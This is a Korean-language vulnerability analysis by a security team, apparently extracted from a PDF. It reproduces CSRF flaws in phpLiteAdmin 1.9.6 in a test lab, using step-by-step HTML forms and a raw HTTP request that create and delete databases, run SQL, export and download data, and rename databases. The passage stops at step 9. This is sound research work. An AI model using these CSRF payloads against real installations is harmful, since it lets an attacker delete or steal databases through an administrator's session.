Black Falcon Phpliteadmin 취약점 분석
Total Page:16
File Type:pdf, Size:1020Kb
Confidential Black Falcon phpLiteAdmin 취약점 분석 2016. 05. by R2dF1r2 (All For One One For All ) 해당 문건은 대외비 문건으로, 팀 구성원만 열람 하도록 함. 해당 문건은 젂자 자산으로, 팀 내 관리하며 젂자 자료로 저장 관리함. 해당 문건은 팀장급 이상 열람 가능하며, 하드 카피는 불허 함. 해당 문건의 모든 권한은 BlackFalcon 대장에게 있음. 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 목차 1. phpLiteAdmin 소개 .............................................................................. 3 1.1 phpLiteAdmin 소개 ..................................................................................................................... 3 2. phpLiteAdmin 1.9.6 Multiple Vulnerabilities .................................. 4 2.1 취약점 소개 ................................................................................................................................... 4 2.2 CSRF 취약점 .................................................................................................................................. 4 3. phpLiteAdmin 1.9.6 CSRF 취약점 ...................................................... 4 3.1 Test 환경 ....................................................................................................................................... 4 3.2 phpLiteAdmin 1.9.6 CSRF 취약점 재현 .................................................................................... 6 2 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 1. phpLiteAdmin 소개 1.1 phpLiteAdmin 소개 phpLiteAdmin 은 웹사이트 형태로 SQLite를 관리할 수 있도록 도와주는 프로그램으로 php파일 하나로 구성된 싱글소스 프로그램이며 설치가 필요 없어 쉽게 사용할 수 있다. phpLiteAdmin 을 이용하면 쉽게 접근 가능한 웹 페이지를 통해 SQLite DB의 생성, 제거 를 포함한 다양한 DB관리가 가능하다. 3 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 2. phpLiteAdmin 1.9.6 Multiple Vulnerabilities 2.1 취약점 소개 phpLiteAdmin 1.9.6은 https://www.exploit-db.com/exploits/39714/ 를 통해서 CSRF, HTML(or Iframe) Injection, XSS 등의 취약점이 존재한 것으로 알려졌다. 이 문서를 통해 phpLiteAdmin에 존재하는 CSRF에 대해 분석하고 재현하고자 한다 2.2 CSRF 취약점 CSRF취약점이란 사용자가 웹사이트에 보내는 정상적인 요청에 대해 공격자가 의도한 행위를 수 행하도록 변조하는 방법으로, XSS공격이 악성 스크립트가 사용자의 클라이언트에서 실행된다면 CSRF공격은 인증된 사용자의 권한을 이용하여 서버에 공격자가 의도한 행위를 요청하는 변조 공 격이다. 3. phpLiteAdmin 1.9.6 CSRF 취약점 3.1 Test 환경 서버 OS : WindowsXP DB : SQLite 3.12.2 APP : phpLiteAdmin 1.9.6 가상서버에 구현된 phpLiteAdmin 1.9.6을 이용하여 https://www.exploit-db.com/exploits/39714/ 에 알려짂 CSRF 취약점 18단계를 재현한다. 4 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 Test를 위해 설치된 phpLiteAdmin 기본 페이지 현재 생성된 DB는 test이다. 5 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 3.2 phpLiteAdmin 1.9.6 CSRF 취약점 재현 1단계 – DB 생성 <html> <body> <form action="http://localhost/phpliteadmin/phpliteadmin.php" method="POST"> <input type="text" name="new_dbname" value="db"/> <input type="submit" value="Create DB"/> </form> </body> </html> http://localost/phpliteadmin/phpliteadmin.php URL로 DB생성 요청을 보낸다. <CSRF 공격을 위한 페이지를 생성하여 csrf라는 이름의 DB를 생성한다> 6 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 <csrf란 이름의 DB가 생성된 내용 확인 가능> 2단계 – DB 삭제 <html> <body> <form action=" http://localhost/phpliteadmin/phpliteadmin.php?database_delete=1" method="POST"> <input type="text" name="database_delete" value=".\db"/> <input type="submit" value="Drop DB"/> </form> </body> </html> http://localhost/phpliteadmin/phpliteadmin.php?database_delete=1 URL로 DB 삭제 요 청을 보낸다. 7 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 <1단계에서 생성한 csrf DB 삭제요청> <csrf DB가 삭제된 내용 확인 가능> 8 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 3단계 – SQL 구문 입력 <html> <body> <form action="http://localhost/phpliteadmin/phpliteadmin.php?view=sql" method="POST"> <input type="text" name="queryval" value="test"/> <input type="text" name="delimiter" value=";"/> <input type="text" name="query" value="go"/> <input type="submit" value="Execute SQL"/> </form> </body> </html> http://localhost/phpliteadmin/phpliteadmin.php?view=sql URL로 SQL구문을 직접 젂송한다 . 직접 SQL구문을 입력하여 젂송할 수 있는 공격페이지를 생성하여 서버로 직접 SQL구문을 젂송한 다. CREATE TABLE test (_id INTEGER PRIMARY KEY AUTOINCREMENT, dbName TEXT, dbPhone TEXT) 구문을 젂송하여 test라는 테이블을 생성요청. 9 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 사용자가 입력한 SQL구문이 작동하여 test 테이블이 생성된 내용 확인 4단계 – DB 추출 <html> <body> <form action="http://localhost/phpliteadmin/phpliteadmin.php?view=export" method="POST"> <input type="text" name="tables[]" value="testtable"/> <input type="text" name="export_type" value="sql"/> <input type="text" name="structure" value="on"/> <input type="text" name="data" value="on"/> <input type="text" name="transaction" value="on"/> <input type="text" name="comments" value="on"/> <input type="text" name="export_csv_fieldsterminated" value=";"/> <input type="text" name="export_csv_fieldsenclosed" value="""/> <input type="text" name="export_csv_fieldsescaped" value="\"/> <input type="text" name="export_csv_replacenull" value="NULL"/> <input type="text" name="export_csv_fieldnames" value="on"/> <input type="text" name="filename" value="db_2016-04-20.dump"/> <input type="text" name="export" value="Export"/> <input type="submit" value="Export DB"/> </form> 10 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 </body> </html> http://localhost/phpliteadmin/phpliteadmin.php?view=export URL로 DB 덤프 추출 요청 젂송 Test 테이블의 자료를 db_2016-04-20.dump 파일명으로 덤프추출 요청 DB 덤프파일 다운로드 11 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 다운받은 DB덤프파일을 통해 DB정보 확인 가능 5단계 – DB 다운로드 <html> <body> <form action="http://localhost/phpliteadmin/phpliteadmin.php" method="GET"> <input type="text" name="download" value=".\db"/> <input type="submit" value="Download DB"/> </form> </body> </html> http://localhost/phpliteadmin/phpliteadmin.php URL로 DB 다운로드 요청 젂송 Test DB 다운로드 요청 젂송 12 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 DB 다운로드 가능 6단계 – Table 삽입 URL http://localhost/phpliteadmin/phpliteadmin.php?view=import Request POST /phpliteadmin/phpliteadmin.php?view=import HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------28282942824983 Content-Length: 1410 -----------------------------28282942824983 Content-Disposition: form-data; name="import_type" sql -----------------------------28282942824983 Content-Disposition: form-data; name="import_csv_fieldsterminated" ; -----------------------------28282942824983 Content-Disposition: form-data; name="import_csv_fieldsenclosed" " -----------------------------28282942824983 Content-Disposition: form-data; name="import_csv_fieldsescaped" \ 13 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 -----------------------------28282942824983 Content-Disposition: form-data; name="import_csv_replacenull" NULL -----------------------------28282942824983 Content-Disposition: form-data; name="import_csv_fieldnames" on -----------------------------28282942824983 Content-Disposition: form-data; name="file"; filename="db_2016-04-20.dump.sql" Content-Type: text/sql ---- -- phpLiteAdmin database dump (https://bitbucket.org/phpliteadmin/public) -- phpLiteAdmin version: 1.9.6 -- Exported: 12:50am on April 20, 2016 (BST) -- database file: .\db ---- BEGIN TRANSACTION; ---- -- Table structure for testtable ---- CREATE TABLE 'testtable' ('id' INTEGER DEFAULT 1 ); ---- -- Data dump for testtable, a total of 1 rows ---- INSERT INTO "testtable" ("id") VALUES ('1'); COMMIT; -----------------------------28282942824983 Content-Disposition: form-data; name="import" Import -----------------------------28282942824983-- http://localhost/phpliteadmin/phpliteadmin.php?view=import URL 로 Table 삽입요청 젂송 14 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 Burp Suite 등의 프록시 툴을 이용하여 Table 삽입 요청을 서버로 직접 젂송 앞에서 추출한 DB 덤프파일을 이용하여 Table 삽입 가능 15 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 7단계 – DB 공백 제거 <html> <body> <form action="http://localhost/phpliteadmin/phpliteadmin.php?view=vacuum" method="POST"> <input type="text" name="vacuum" value="Vacuum"/> <input type="submit" value="DB Vacuum"/> </form> </body> </html> http://localhost/phpliteadmin/phpliteadmin.php?view=vacuum URL로 DB Vacuum 요청 젂송 DB Vacuum 버튼을 통해 DB Vacuum 요청 젂송 DB Vacuum 기능 정상 작동 16 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 8단계 – DB 이름변경 <html> <body> <form action=" http://localhost/phpliteadmin/phpliteadmin.php?view=rename&database_ rename=1" method="POST"> <input type="text" name="oldname" value=".\db1"/> <input type="text" name="newname" value=".\db"/> <input type="text" name="rename" value="Rename"/> <input type="submit" value="DB Rename"/> </form> </body> </html> http://localhost/phpliteadmin/phpliteadmin.php?view=rename&database_rename=1 URL로 DB이름 변경 요청 젂송 현재 존재하는 test라는 DB의 이름을 test1로 변경하도록 서버로 요청 17 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 test1로 변경된 DB이름 확인 가능 9단계 – 테이블 생성 Create Table <html> <body> <form action=" http://localhost/phpliteadmin/phpliteadmin.php?action=table_create&c onfirm=1" method="POST"> <input type="text" name="tablename" value="testtable"/> <input type="text" name="rows" value="1"/> <input type="text" name="0_field" value="id"/> <input type="text" name="0_type" value="INTEGER"/> <input type="text" name="0_defaultoption" value="defined"/> <input type="text" name="0_defaultvalue" value="1"/>